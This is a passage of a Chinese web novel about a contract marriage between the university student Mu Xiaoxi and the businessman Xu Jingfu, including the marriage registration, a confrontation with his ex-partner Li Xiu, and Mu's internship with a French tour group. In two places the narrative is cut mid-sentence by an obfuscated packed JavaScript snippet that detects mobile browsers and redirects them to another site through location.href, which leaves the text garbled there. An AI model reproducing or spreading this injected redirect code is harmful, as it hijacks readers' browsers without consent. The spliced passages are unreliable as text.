然而,李秀却是哪壶不开提哪壶。 “徐哥,这件事真的……确定了吗?”她抱着最后一线希望问道。昨天他带她去买戒指,徐敬孚还让她试戴了戒指,她当时非常欣喜,以为他们的关系有了转机,却没料到确定款式后徐敬孚跟导购说,让拿再小一号的戒指出来。 顿时仿若五雷轰顶,整个人被一盆冷水泼了个透心凉。 徐敬孚抽着烟,沉默地看着她,脸上什么多余的神情也没有。 她一时眼泪有些忍不住:“我,我……可能徐哥你不相信……但是我……我……” “我不信。”徐敬孚开口道。 “我对你是真心……” “我不信。” 李秀难过地闭上眼,两行眼泪掉下来。 “哪怕明天和我去民政局的那个人是你,在这一点上也不会有任何改变,我跟你说过,从一开始就说过,我希望我们只是简单的关系,如果你非要让这个事变得复杂,那从此以后我们不会有第二次见面的机会。”徐敬孚又抽了一口烟,微微张开嘴,烟从嘴角边慢慢地溢出来,“李秀,你很清楚,我是念了旧情的,如果不是这样,在你给徐董做传话筒的时候我就应该把你扫地出门。” 李秀擦了擦眼泪:“我那样做是有原因的,因为… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200760|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” “因为你嫉妒,因为你知道徐董不会让我养一个大学生在家里,因为你想万无一失地坐上徐太太的位置,因为徐太太这个位置……实在是太有利可图了。”徐敬孚勾了下嘴角,“我本不想将话说得太清楚,太明白。” “不是这样的,不是的!”李秀反驳他,“是,我承认,我是想做徐太太,可是那并不是因为……” “是。” “……” 徐敬孚的眼神锐利而冷漠,一字一顿,掷地有声地重复了第二次:“你是。” 李秀哑声。 徐敬孚不作声地站着抽了会儿烟,看着她脸上的眼泪一行一行地往下巴上汇聚,却没有一丁点感觉。 “没错,是。”李秀无声地哭了一会儿,用手擦擦脸,笑了,“那又怎么样呢?我这样想有什么错?我爱一个男人,和爱钱,冲突吗?”她觉得自己有些好笑,“我本来就是这样的人,你也知道的,我虚荣,我爱财,我喜欢名牌,我想要凭借我的容貌我的能力我的见识跨越阶层,嫁一个有钱人,过上好的生活,我有什么错?” 徐敬孚听她这么说,嘴角也扯了一下。 李秀看到他嘴角的嘲讽,笑了起来:“我有错吗?徐总,你也是赚钱的人,你每天为什么要拼死拼活赚钱?和我不一样吗?” 爱一个人就不能爱他的钱吗?喜欢一个人的内在就不能喜欢一个人的外在吗? 好生活就一定不能是金钱富足的生活吗? 有资本有能力有容貌有资源,难道就不能去争取跨越阶层的机会吗? “我爱你,我也爱钱,不可以吗?”她问。 徐敬孚看着手中烟头上的火星,出神地想了一会儿,说:“可以。” 李秀眼睛微微睁大。 “可以。”徐敬孚点了下头,“你说得,没有问题。” 李秀忍不住往前走了一步。 “但是李秀。”徐敬孚说,“我信不了。” 好不容易忍下去的眼泪,霎时间簌簌而下。 徐敬孚将烟按灭了,说:“我信不了你嘴里的爱。”不知道想到了什么,他低笑了一声,摇了摇头。 他冲还在哭的李秀挥了下手:“早点回去。” “那她说你就信吗?”李秀问。 徐敬孚收拾桌面的动作停了一下。 “如果她说,她爱你,你信吗?”李秀固执地问。 “……”徐敬孚头也不抬,继续收拾,“我和她,不是你想的那样。” “所以你信还是不信?” 徐敬孚抬起头,看着李秀狼狈不堪的固执的脸,脸上明明白白地写着“不到黄河不死心”几个字。她的毅力很顽强,不然也不能在昨天陪他买了戒指之后,还来问他这样的问题。 人总是这样。 “如果是她说,我信不信,对吧?”徐敬孚回答她,“首先,她不需要爱我。” 李秀的瞳孔猛地缩紧。 徐敬孚说:“她什么都不用做。” 第二天一早,徐敬孚便带着木晓晞出了门,去了摄像馆。做了造型,拍了照。 下午三点的时候,两人已经到了民政局门口等着了。 徐休打来电话,说于珍今天头晕得厉害,不舒服,来不了了,让他们自行解决。 木晓晞问:“叔叔,那,那还……”还领吗? 徐敬孚搂着她进去:“走吧。” 进去两个人,出来一双人。 “你想好了吗?”工作人员特意问了木晓晞一句。大约是看她年纪太小了。 木晓晞看了眼徐敬孚,有点犹豫,但是还是点了头。 工作人员还是迟迟没盖章,盖下去就不能反悔了。 木晓晞于是又说了一次:“我想好了,我想……我想和他结婚。” 假也假,真也真。 李秀还是不服气。问徐敬孚,如果木晓晞最后跟她一样,也是图他的钱呢? 徐敬孚说,除了钱,我也没什么能给她的。 “二位的证办好了。” “木晓晞?”一个熟悉的声音从不远处传来。 木晓晞的心几乎要停止跳动。 张欣走过来,小心翼翼地:“晓晞?是……你吗?” 木晓晞手里的结婚证一下子掉了。 徐敬孚帮她捡起来:“你同学?” 22.第 22 章 (二十二) 不知道其他人领结婚证这天是怎么样的,是否是轰动的,激动的,狂喜的,是否幸福得让人夜不能寐,感动得让人泫然欲泣,恨不得从拿到红本的那一刹那当即狂奔出去沿街昭告天下。 木晓晞不知道,她只知道电视剧里是这么演的,现实是不是这样呢? 她也不清楚。 也可能是因为她领的这个证是虚假的,所以才没这样的心情。 比起昭告天下的喜悦,在毫无预兆地面对张欣的这一刻,她内心更多是一种羞耻和惊慌,好像被人逮住自己做了很坏的事。 刚刚二十岁就结婚领证,对于她们这个年纪的女大学生来说简直是不可想象的,更不要说,还是跟一个比自己大了十七八岁可以做父亲的老男人。 张欣看起来很震惊,她似乎看到了他们手里的红本本,一时间好像比她还要慌乱,笑得很是局促:“晓晞真是你啊,你怎么,怎么在这里呀?” 说着她看向木晓晞身边的男人。 那是一个……一眼看去就不像普通人的男人。高大英俊气质俨然,一双眼睛沉稳锐利不苟言笑,浑身不自觉地散发着一种若有若无的压迫感,叫人不敢多看。 “这是……” 木晓晞下意识地看向徐敬孚,却见徐敬孚先她伸出手来,泰然自若:“你好。” “您好您好。”张欣连忙伸双手回握,有点惶惶,“我是木晓晞的同学,今天我是陪我姐姐姐夫来领证的,喏,他们还在那里拍照……”说着快速指了一下。 角落拍照的位置是有一对新人带着摄影师在那里摆造型。 打完招呼,她又不知道说什么了,她看了眼两人手里的红本本,又看看木晓晞那身明显精挑细选的衣服和精致的妆容,再结合这个场合,猜也猜到了什么。 可偏偏两人似乎都没有要跟她介绍解释的意思,搞得她有点不知如何是好。早知道不打这招呼了。 角落里的姐姐在叫张欣了。 张欣一下有了一种得救的感觉:“那我先……” “我们也是来这领证的。”木晓晞忽然开口说道,“结婚。” 徐敬孚闻言,偏头看了她一眼。 张欣好像并没有被“结婚”两个字震住,只见她挠挠头,尬笑:“不然呢,你这年纪,还能是离婚吗?” 说着,她又看了眼木晓晞身边的那个男人,鼓起勇气:“所以这位是……妹……妹夫?” 张欣也就比木晓晞大三个月而已,不知道怎么有胆把徐敬孚叫妹夫的。 不过多亏她那一声令人哭笑不得胆大包天的“妹夫”,场面一时没那么尴尬了。徐敬孚好像也并没有被她那声“妹夫”冒犯到,反倒很是亲民地和她说笑了几句,然后才跟木晓晞说:“我回车里打个电话,你先和朋友聊。” 说着便走了。 看到他离开后,张欣大大出了口气,整个人一下挂到木晓晞肩膀上:“我去,你这老公干什么的?怎么比Lux还吓人啊?啊呸呸,可比Lux猛,我跟他握手的时候简直幻视校领导视察民情,那感觉……嘶……” 她皱巴着脸,夸张地在她肩头擂了好几下。 木晓晞没料到她是这个反应,刚从她那一声“妹夫”中缓过来一丝,紧接着又被她轻而易举的“老公”一词震得僵在原地。 “平时看你温温柔柔的,找个老公这么霸气。”张欣趴在她肩膀上大叹气,“真是闷不吭声办大事啊,真是小看你了。” 木晓晞想强迫自己做点什么,以显得自己不是那么生硬。她抚了下女孩趴在自己肩头的头,有些干巴巴地编:“他私下里也不这样。” 其实私底下也是这样。 张欣从她肩膀上起来,拉着她的手:“我真是太惊讶了。” 何止是惊讶。 简直吓死人了。 木晓晞抿了下嘴,不知道该怎么解释,有些尴尬地笑了一下。 “前阵子学校有人传你谣言,说你……说你跟有钱人好上了,有豪车接送你。”说得很难听,原版本其实是说木晓晞被包养了。 她们学校是外语类学校,学校里美女云集,的确是不少富家子弟的猎艳好场所,加上学外语的女生家境很多本身也不错,因此一到假期前后,学校里就停满了各式各样的豪车跑车。但大多数的豪车跑车,也不过就是一二百万,二三百万的样子,像那天送木晓晞的那一辆,因为对他们这些普通学生来说已经昂贵到足够罕见,所以很快就已经传遍了学校论坛。 幸好那个传播谣言的人并没有把木晓晞本人的照片贴出去,所以并没有人识别出她是谁。 可非常巧合的是,她那天看到了那辆车,也看到了木晓晞,同行的三个舍友也看到了。 她都有点怀疑传播照片的人是不是就是和她一起的三个舍友中的一个,因为不久之后年级里就开始有其他班的同学跟她八卦,说她们级里有人被有钱人包了,有点像木晓晞。 可是由于也没什么证据,传八卦的人也总是“我听别人说的”,所以也只能不了了之。 “幸好。”她抱抱木晓晞,“幸好我今天看到你了。”算是放心了。 木晓晞问她:“谁说的我……我……”她有点问不出口。 张欣说:“不知道,我知道你肯定不是,所以我跟他们撒谎说的是你家里本来就有钱。” 木晓晞张着嘴,不知道该说些什么。 “所以……”张欣悄悄问她,“所以有钱的到底是你家,还是你老公啊?” 木晓晞不知道她怎么能这么自然地把“你老公”三个字随口就挂在嘴上,她一时接话也不是,不接也不是,只好避重就轻地说:“他是家境不错。” “何止是家境不错,土豪了吧。”张欣轻锤了一下木晓晞。 “……”木晓晞尴尬地笑,“你……你可不可以别跟别人说。” “嗯?” “我……结婚的事,你能不能替我保密。”木晓晞有些艰难地说,“我不想让同学知道这件事,你知道,我们才刚大二结束,还要再上两年学,要是被人知道我这么早就跟人结婚了,我怕别人说闲话,所以,可不可以帮我……” 张欣理所当然地回道:“当然可以啊。” 木晓晞:“……” 张欣伸手:“有什么好处?” 木晓晞:“我……” 张欣嘻嘻一笑:“新婚快乐,百年好合,喜糖呢?” 没料到张欣对这件事的接受度比木晓晞自己还要高。大概是因为今天结婚的张欣她大姐,找了一个比她小九岁的男朋友结婚,而她自己的父母当年本身就是在大学就读期间生的她大姐……吧。 而徐敬孚本人看起来其实也并不那么显老,相貌看起来不过三十出头,只是因为整个人的气场太强,着装太商务,言行举止中充满了岁月沉淀的味道,所以会让他整个人看起来更接近他的实际年龄。 不知道徐敬孚真实年龄的张欣,光凭相貌和基本的常识,她还没有那个想象力把两人的年龄差往十七岁去猜。 “嗯,嗯……好……” 木晓晞回到车里时,徐敬孚正在通电话,看到她进来了也只是抬起眼皮撩了一眼,并没有让她回避的意思。 “好,那过几天我再带晓晞去看妈,好……一会儿准备去吃晚饭……妈?没有……本来要去您那里……好……好……” 木晓晞坐好后,小心地关上车门。 刚系上安全带,就见徐敬孚将手机伸到她面前,把免提打开。 于珍虚弱的声音从那头传过来:“晓晞?” 木晓晞连忙将手机接过来:“阿姨。” “呵呵,还叫阿姨?”那头于珍的音色明显不像昨日,虚得只剩些气音,但听得出连这些气音似乎都是她努力攒劲才能发出来的。 看来今天的这次发病是有些严重的。 木晓晞有些担忧:“您还好吗?” “还好,放心。”于珍说,“就是……老了,妈没守承诺,本来今天要去看你们的……对不起啊晓晞……我不是故意的。” “没有,您没事就好,我们……我们已经领证了,阿姨您……不……”她握紧了手机,抿抿下唇,“妈妈。” 徐敬孚的手指一下子蜷了起来。 他偏过头,看到木晓晞微微低着脸,身体很僵硬,但语气却很温柔:“妈妈,我们今天拍了照,等回去了那给您看看,好不好?” 于珍连声说好。 木晓晞陪她又慢慢说了一会儿话,无非都是一些安抚于珍的话语,于珍因为今天发病没能来很是内疚,又觉得自己病在这个关头,给他们添了晦气,光是道歉就道了好几次。 每一次木晓晞都安抚她,说些喜庆的开心的话,很多话在徐敬孚看来都是很违心的,很虚假且不切实际的,像编故事一样。实际上也就是编的故事,全是谎言。 什么他们俩全程很开心,她也感到很幸福,什么她很高兴和他们成为一家人,什么之后等于珍好起来,还想和他们一起拍全家福……云云。 奈何于珍就吃她这一套,很相信,连连应声:“好,好,好,一起拍,一定拍。” 于珍一和木晓晞说起话来,话就没个尽头,最后还是徐休把电话拿走,接了过去:“你妈该休息了,不跟你们多说了,既然你们已经领证了,那我也祝你们新婚快乐。” 手机还在木晓晞手里,于是她犹豫了一下,回道:“谢谢……爸爸。”演戏演全套。 徐休:“……” 徐敬孚看着面部红心不跳地演着戏的木晓晞,心情有些复杂,拿过手机:“谢谢爸的祝福,那您好好照顾妈,今天我们先不过去打扰妈了,您看看妈什么时候好一些了给我电话,到时候我再带晓晞一起过去。” 两人又说了几句演戏的场面话,挂了。 之后他带着木晓晞去公司待了一阵,忙了会儿公务。待到六点半时,陈遇提醒他,他才想起来木晓晞还在办公室里。 他问她:“吃什么?” “随便。” “西餐吃吗?” 想到之前徐敬孚提出过让她万事说实话的要求,木晓晞也实话实说:“不太会吃。” “不会吃指的是?” “西餐的餐具好像很多,我不怎么会用。” “多吃几次就会了,附近有一家味道还不错。”徐敬孚看了眼时间,拿起手机拨了个电话,“月升这会儿还有位置吗?” 对于徐敬孚这样的人来说,只要他开了口,没有也会变成有。 木晓晞跟着他,驱车十几分钟来到一个金碧辉煌的酒店大厦门口,随他一起上了顶层二十六楼。从幽长雅致的通道进入,在礼仪完备的服务生的恭敬引导下一路来到一个优雅低调的大厅之中。 他们来得有些晚,大厅已经坐满,他们的位置在一面落地窗边,窗边一共有两桌,其中一桌是一个长桌,而他们是一个两人桌。两桌离得有些距离,中间还有屏风,以便于有需要时随时隔档。 餐厅内部比较安静,中央钢琴桌边有人弹奏着舒缓悠扬的钢琴曲,用餐的客人们有的边吃边欣赏这美妙的音乐,有的则低声交谈,言笑晏晏。 木晓晞从进门就有些紧张,意识到这是一个真正的高档餐厅后,她整个人都有些拘谨,就像当初她被徐敬孚带进奢侈品商场中扫荡一样。 “没有忌口吧?”拿到菜单后,徐敬孚问她。 木晓晞摇头,然后低着头,生怕他要把菜单拿给自己做选择。 然而这一次徐敬孚并没有为难她,他将菜单平铺在桌面上,当着木晓晞的面,一样一样地点,仿佛在给她示范一般,有时会主动让服务生介绍一些菜品,就这样一样一样地点完。枉顾价格,随随便便就点出去了木晓晞小半年的生活费。 从一个普通学生的角度其实很难理解,为什么一顿饭会贵成这个样子。 也许这就是阶级吧。她默默地想。 徐敬孚点完餐,问她:“你之后有什么安排?” 木晓晞:“什么?” “假期还很长,你打算一直在家里?” “……”木晓晞问他,“叔叔您的意思是?” 徐敬孚本来想说什么,但想想又没说,摇摇头。 木晓晞想了想,说:“徐叔叔您可以直说,就算不好听也没关系。” 见她这样讲,徐敬孚沉思了几秒:“你跟我妈说,你已经二十五岁,是个翻译,对吗?” 木晓晞很快就意会到了:“是,徐董说让我编一个职业身份,年纪也说大一些,不然……不然妈妈会不好接受。” “我们两个的时候,你就不用演戏了。”徐敬孚喝了口水,笑了笑,“你还挺敬业。” “……” “我妈她……她虽然现在脑子糊涂了,但实际上她年轻时也是在海外留过学的,其中也留过法,在法国工作过一段时间,你口语水平怎么样?” “……普通。” “谦虚还是实话?” “我毕竟没有出过国,除了和外教还有同学用法语练练,并没有太多用法语的机会,所以……只能说普通的听说对话应该没有问题,如果是专题性的词汇和比较高级的词汇,可能有困难。” “新闻能听懂吗?” “能是能,但要一遍听对是有点困难。” 徐敬孚的手指点点桌子:“以防万一,你需要提升你的实际语言能力。” “好。”木晓晞点头,她大概明白徐敬孚的意思了,于是她又道,“假期我会尽量学习,补一下听说口语。” “需要实习机会吗?”徐敬孚问。 木晓晞愣了一下,正要说,忽然一群外国人从旁边走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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旁边的法国老头老太太问男生发生什么了,男生也不瞒着,用法语回道:“遇到了我的同系同学。”说着,瞧她一眼,又用法语补了一句,“是一个我很喜欢的女孩儿。” 老头老太太们一下哗然,有的还开始鼓掌起哄起来。 徐敬孚虽然听不懂他们在说什么,但却看到木晓晞一下子涨红了脸,她尴尬地叫了好几声那个男生:“学长你不要乱讲。” “金笑笙,金子的金,开怀大笑的笑,笙箫的笙。”金笑笙笑道,“我还要忙,不打扰你们了,回头再聊。” 说着,他冲木晓晞对面的徐敬孚点点头,自然地伸手:“您好,我是木晓晞的同系学长,金笑笙。” 徐敬孚伸手浅握:“你好。” 金笑笙很直白地问:“您是木晓晞的……” 木晓晞连忙打断:“学长,你要不先去……” 徐敬孚不急不慢地回:“我是木晓晞的家里人。” 家里人? 金笑笙问:“怎么称呼?” 徐敬孚:“姓徐。” 金笑笙:“那不打扰徐哥了,我先招待一下外国朋友们。” 说着便跟他们点点头,又偷偷跟木晓晞眨了下眼,然后带着几个老头老太太朝一边去了。 等着人走了,木晓晞的心都还在扑通扑通地跳。今天怎么会这么巧合,一连遇到两个同学。又是张欣,又是……她想到金笑笙前面用法语说的那句“是我喜欢的女孩儿”,一时懊恼,这个人真的就像学校里传言的那样,花花公子中央空调一个,校草又怎么样,怎么什么话都好意思说出口,就这么随随便便地说来调戏人,当着这么多长辈的面。 要是被误会了怎么办? 要是……要是怎么样?想到这,她愣了一下,不禁抬起头。 徐敬孚很淡然地在喝水,刚好服务生也来上菜了,先上了面包和饮品,用餐的刀具。 徐敬孚拿起面包和刀,片了些黄油涂在暖香的面包上:“是喜欢你的男同学?” “不是。”她马上反驳。 徐敬孚将弄好面包给她:“不用紧张,合同里没有写你不能谈恋爱。” “真不是。”她低声解释,有点急,“我都不知道他叫什么名字,只是在学校里见过。” 只是见过?徐敬孚笑了下,摇了摇头。 见他不信,木晓晞又解释:“我大一的时候进过学校的漫画社,他那时候是漫画社的部长,但我课程比较紧,总是排不出时间去参加社团,所以也就只参加了两三次社团活动,之后我就退社了。” 服务生又来上前菜。 等人走了,徐敬孚才道:“你就算喜欢他,也没有关系,我看他……好像也是对你有点……” 说着,他眼角扫到不远处往回来走的男生。 他没说完,金笑笙已经走过来了,不过这一次他没有跟木晓晞多说什么,只是将自己的手机拿出来当着徐敬孚的面放到了她面前的桌上,之后便回到了他自己的那一桌。 只见手机面上,是一个微信二维码。 木晓晞百口莫辩地张开嘴,转过身,却见那傻小子冲她一挑眉,一眨眼,又是一个明晃晃的很俗气的媚眼。幸亏长得洋气优越,帅得光明正大,不然这动作做出来恐怕都要叫人报警骚扰了。 木晓晞回过头,直直对上徐敬孚那似笑非笑的神情,有点无奈:“真不是您想得那样,叔叔。” “我没多想。”徐敬孚说,“我只是觉得,也许你可以试试像他那样带个旅游团,实地练一练你的口语能力。” 这顿昂贵的饭,木晓晞可以说是吃得五味杂陈,忐忑慌乱。 她不知道自己在慌什么,乱什么,只觉得自己好像热锅上的蚂蚁,坐也不是,站也不是。大概是因为刚领了证,就出了这种事,搞得她有一种当着另一半婚内出轨,而且另一半还不介意的荒谬感。 木晓晞原本就不喜欢金笑笙那样大众情人款的男生,所以就算他帅得全校知名,她也连他名字都记不住,现在好,更不喜欢了。 微信根本不想加,最终也没有加。 走的时候做样子加了,不过踏出西餐厅门的一瞬间,她就把人给删了。 徐敬孚看到她这幼稚的举动,问:“不喜欢为什么还要先加再删,直接拒绝不就好了?” 木晓晞有些莫名的不高兴,也不知道是为什么,可能是一天内出这么两趟岔子,实在是有些挑战心理素质。 “加了再删才能让他觉得我真不喜欢他。”她没理由硬编一个,有点赌气的意思。 听到这个更幼稚的回答,徐敬孚勾了下嘴角,电梯门开率先走了进去。 真是个小孩儿。 也总算有个小孩儿样了。 “那,我让人给你安排个实习?” 谁知道这世界就有这么小。 没几天,陈遇就遵从徐敬孚的吩咐和要求,根据她的学历和语言能力,让人给她在公司内部安排了一个相关的法语实习岗位。 岗位是跟度假酒店相关的合作旅行社提供的,一个法国老年高端旅游团的月度中国行。 其中已经有两个法语翻译跟团,一个是专业法语导游,一个是同城外国语大学法语系的有过一年留法经历的高材生。 巧合得让人无话可说的是,这位所谓的高材生,就是金笑笙。 23.第 23 章 (二十三) “陈秘书,我自己去就可以了,我打车去酒店就行,你这么忙,就不用送我了。” 办好工作证后,原本对面旅行社的负责人是打算派车来接她去度假酒店的,但陈遇却坚持要在百忙之中送她过去。这也很正常,作为徐总亲口嘱咐过的实习生,很难有人会纯粹地把她当成普通实习生来对待。 只是木晓晞自己还没把自己的位置摆清楚,她还真把自己当学生,她没想到如今的自己在陈遇这种知道内情的人眼里,实际上已经算得上是半个老板了,虽然徐敬孚说的是“不用特别对待”,但是徐敬孚能特地来关注这么一件事,其实就已经算是特殊对待了。 “我送你吧,我刚好去酒店也要办点事。”陈遇随口笑道,还是将她推上了车。 木晓晞穿着工作装挂着工牌,在周围一些不着痕迹的目光之下被迫坐进了陈秘书的车后排,陈遇关上门坐上驾驶座,将副驾驶座上放着的几样礼物提起来给她看看:“这些是徐总的几位工作伙伴送给老夫人的礼品,我得帮忙捎过去。” 听他这么说,一直很抗拒的木晓晞才消停了一点,她问:“我能跟着一起去看看她吗?还是说……” 陈遇摇了摇头,发动了车:“目前情况还没那么好,医生说老太太目前还是需要绝对的静养,少说话,少动脑,我去也只是送礼和向徐董事汇报一些工作。” 听到于珍的情况,木晓晞的心情有些沉重。 陈遇从镜子里看了一眼,问:“木小姐很担心吗?” “嗯。” “老夫人最近其实已经算是状态比较好了,发病不算很频繁,像之前可能平均一周就会发一次病。” 所以徐敬孚和徐休说的于珍活不了太久,是真的。难怪宁愿假结婚也要满足她的心愿。 木晓晞还是有点低落,虽然早已经面对了很多次生死离别,可再一次来到这个位置时,她还是会有些茫然,不知道该怎么办。她只能尽量让自己别想那些坏的,事情还没到那一步,就先放在脑后好了。 “呼……”她晃晃头,做了几个呼吸试图放空自己,然后将脑后有些散掉的发圈儿重新取下来扎了一次。 扎得高了一些,看起来很精神。 她默不作声地握紧双拳做了一个“加油”的嘴型。 这一切全被前头的陈遇在中央镜中看了个一清二楚,他忍不住微微弯了下眼角。 以木晓晞的年纪和过往经历,以及这段时间发生的事和她所在的处境,她还能像现在这样出来做实习,能有这样的状态,已经实属不易。 很快便到了度假酒店,等他们来到酒店大堂时,一个穿得花里胡哨的高高瘦瘦的卷毛已经等在了那里。 金笑笙在木晓晞进门的那一刹那就站了起来,一脸真实不作假的惊喜:“木晓晞?” 木晓晞看到是他,脑子都宕机了一下,扭头问陈遇:“陈秘书,是……是……” “应该是他。”这次实习是陈遇的助理帮忙安排的,他还没有闲到连这种小事都要亲自经手的地步,“是金翻译?” 他主动询问。 金笑笙点头:“是的,您是……” 陈遇介绍了自己的身份,之前和金笑笙接触的人是他的助理。金笑笙听完有些惊讶,然后看向木晓晞。 “这位就是这次行程你要帮忙带一带的实习生,木晓晞,你应该已经从汪量那里听说了。”汪量是陈遇的助理。 金笑笙也是刚知道自己要带实习生,只知道对方是个和他同校同系的女生,本来还有些烦,不想接这差事,奈何自己顶头老师说这次的任务还没法拒绝,实习生有点背景,劝他不如看在奖励丰厚的面子上做一做。 没想到。 “听说了,就是没想到要带到的是你。”金笑笙笑了起来,皱皱鼻子,“真有缘,是吧?” 陈遇听到他这话,看到他的表情,有些疑惑地转头看向身旁的木晓晞。 只见木晓晞一脸僵硬的笑容:“是,有点巧,学长。” “你们认识?”陈遇问。 “同学。”金笑笙笑着说,“小我一级的学妹。” 木晓晞有点笑不出来。 这实习突然有点不想做了。 “这么巧?”陈遇在他俩之间不着痕迹地扫了一眼,温和道,“那要拜托金翻译多照顾了,木小姐第一次参加实习,很多事都还不太熟悉,有什么做得不到位的地方还请多包涵。” 木小姐?金笑笙面不改色笑着应声,心里却为这称呼卡顿了一下。 一个小小的实习生,却要总经理秘书来送,来说场面话,所以木晓晞是……金笑笙不由想到了那天在西餐厅偶遇的场面,想到了坐在木晓晞对面的那个男人。 那是……木晓晞的家人?没记错的话,姓徐。 金笑笙虽然也就比木晓晞大个一级,但看起来却比木晓晞在职场上熟练许多,哪怕穿着一身中二气息十足的朋克装,脖子上挂个铁链子,一头不稳重的卷毛,可言行举止却并不显生涩,反倒像个职场老油条,对自己团队近期的行程安排如数家珍,将木晓晞在团队中的定位安排得清楚有条理,很快就打消了陈遇的一些担忧。 “那我先走了,木小姐有事随时联系我。”陈遇走之前,这样跟木晓晞说。 木晓晞很想随他一起走,但事到如今,也只能硬着头皮留下来了。 留下来面对身边这个花里胡哨的孔雀。 陈遇走后,金笑笙果然就不装了,人刚一脱离视线,他的两个眼睛就跟激光手电筒似的放了光,吧唧吧唧地眨巴着:“啧,缘分来了真是挡也挡不住哇。” 木晓晞装死,虚伪地笑:“是啊学长,真有缘。” 金笑笙举起手机,调出二维码晃了晃,语气相当欠揍地说:“没想到吧,删了我三次微信,这回又要加上咯!” 西餐厅是一次。 退漫画社的时候是一次。 去年金笑笙回国考专八时偶遇加了一次,还没上飞机,又给他删了。 这个木晓晞,面上一套,背后一套,相当可恶。 “对了,我叫什么名字啊,木小姐?”他故意问。 木晓晞忍了又忍,实在是有点没忍住:“金学长,我们现在是工作关系,相信你会公私分明的对吗?” 其实以木晓晞的包子性格,在学校里实在很难和人结仇。 只要不是那种特别爱突破她边界的人,或者是她实在不喜欢的人,一般情况下她都会表现得很与人为善,没有触及底线的原则性问题,她基本不会对任何事任何人明确表态站边,更不要说是对一个自己本就不太熟悉的人平白无故地表现出敌意。 之所以对这个金笑笙有意见,其实很大程度上是源于一些系里的流言蜚语,自身的亲身体验,以及身边朋友的眼泪。 金笑笙比她大一级,她大一的时候,他已经大二,她大二的时候,他已经走学校项目出了国。所以严格来说,和他接触的机会也就大一一年,以及金笑笙回国考级时的那一次。 但就算是那一年,他们也接触不多,毕竟只是一个一周一次活动的兴趣社团,她还退得很早。 金笑笙在学校里很有名,因为他长得跟从漫画里走出来的似的,帅得像整形模版,平时又很爱收拾打扮,总是穿奇装异服cos各种角色,个头也高,腿又长,简直就是天选coser。在一个女生占绝对数量的学校里,出现这样一个毫无短板的撕漫男,当然就成了万众瞩目的角色。 当初木晓晞会进漫画社,很大程度上就是被舍友周静静一起带进去的,因为周静静喜欢他,而她喜欢漫画。 然而这个金笑笙,却是金玉其外败絮其中。 长得帅,学习好,社团生活风生水起,偏偏个人感情生活一塌糊涂。仗着自己长得帅,一学期不知道换多少女友,而且还是属于那种有女友期间还会和其他女生打成一片的中央空调类型。 没跟他好上的女生,喜欢和他打成一片,和他好上的女生,憎恨他和所有女生打成一片。 一年不到的时间,他的前女友就有一个足球队那么多了,长的一两个月,短的一两周,甚至一两天。因爱生恨的前女友们最后组成了团去学校匿名论坛里骂他,发帖控诉他,甚至招来一群不知是真是假的人诋毁他,最后漫画社的名声臭得堪比宫廷选妃。 周静静幻想破灭,也跟着骂金笑笙,还因为金笑笙痛哭流涕好一阵,她也因此退了社团,删掉了社长金笑笙的微信。 也顺便从脑子里删掉了他的名字。 她不认为这有什么不合理的,毕竟是话都没说过几句面也没见过多少回,半生不熟的一个人,但金笑笙觉得不合理。 他的理由也很合理:“敢一而再再而三删我的女生,只有你一个,还不记得我名字,我见你一次跟你讲一次名字,你一次都记不住。” 去工作地点的路上,他们是走着去的,走了一路,金笑笙就控诉了她一路。 这个老年团也是直接包了两栋独立别墅,别墅的位置刚好就在于珍别墅的附近,想到于珍的病情,她不自觉就有点走神,并没有认真听金笑笙控诉。 金笑笙拖着她的行李箱走了一路,见她一个耳朵进一个耳朵出,气笑了:“喂,木学妹,你有没有在听我说?” 木晓晞原来就不喜欢他,现在更不喜欢了,不过想着他毕竟是自己的实习期“领导”,所以还是尽可能地敷衍一下:“在听,学长我这次记住你的名字了,金笑笙。” “……你。” “?” 金笑笙:“真不可爱。” 木晓晞毫无反应,看着面前的两条岔路:“在哪个方向?” 金笑笙指了指竹林的那一边。跟于珍的别墅是在相反的方向。 木晓晞远远看了一眼于珍那一栋,能看到一个房顶,她想到徐敬孚跟她说既然要演就要演到滴水不漏,哪怕只有很小概率会在语言方面露馅,她也要做好万全的准备,这也是合同中约定好的工作内容之一。 她会好好做的,会好好学的。哪怕只是为了报答他们。 木晓晞暗暗这样对自己说。 “我说。”金笑笙跟在她后面走,“你真不可爱。”他又说一次。 木晓晞面不改色继续走:“哦。” “……”没了? 没了。 木晓晞不是那种会和他打情骂俏的女生,她完全不明白那种活动有趣的点在哪里。因为金笑笙帅吗?她斜了一眼一旁以一种古怪的神情看着她的男生,心想,长得是还可以,但也没有很帅啊。 没有那种味道。 不知道那些女生喜欢他什么。 金笑笙碰一鼻子灰,摸了摸自己的鼻尖,有些尴尬。幸好他尴尬了,木晓晞后半程的路才能耳朵清净点,很快就到了工作地点。 这边的旅行团一共是十二人,高端中老年群体,平均年龄五十五岁,年纪最大的超过六十。也因此,这个旅行团更多是以休闲度假和高质量景点游览为主,一个月中半程是深入本地的生活体验自由安排,半程是景点出行。恰好本市是省内核心旅游景点集中地区,这次旅程60%的时间是在本市内和周边进行。 领队是一位三十五岁的大姐,叫张洁,为人爽朗亲和力强,麦色皮肤肌肉结实,嗓门儿洪亮中气十足。在跨境导游这个行当从事了近十年,可谓是经验丰富。 金笑笙和她一起带团已经一周,张洁负责景点方面的讲解和旅程规划,金笑笙则是负责自由体验那一部分的生活向导,主打带外国友人在周边探索吃喝玩乐相关事宜。 “你好,晓晞是吧,听说你和小金是一个学校出来的,我对你们学校的实力很有信心,相信这段时间有你的帮助,我们的旅程会很顺利愉快。”张洁和她拥抱,有力地拍拍她的后背,笑哈哈,用法语当着一众外国老头老太太的面很流畅地夸她,“真是个漂亮的小丫头,是吧?我们这团真是太牛了,一帅,一美,对我们的眼睛很友好,是吧?” 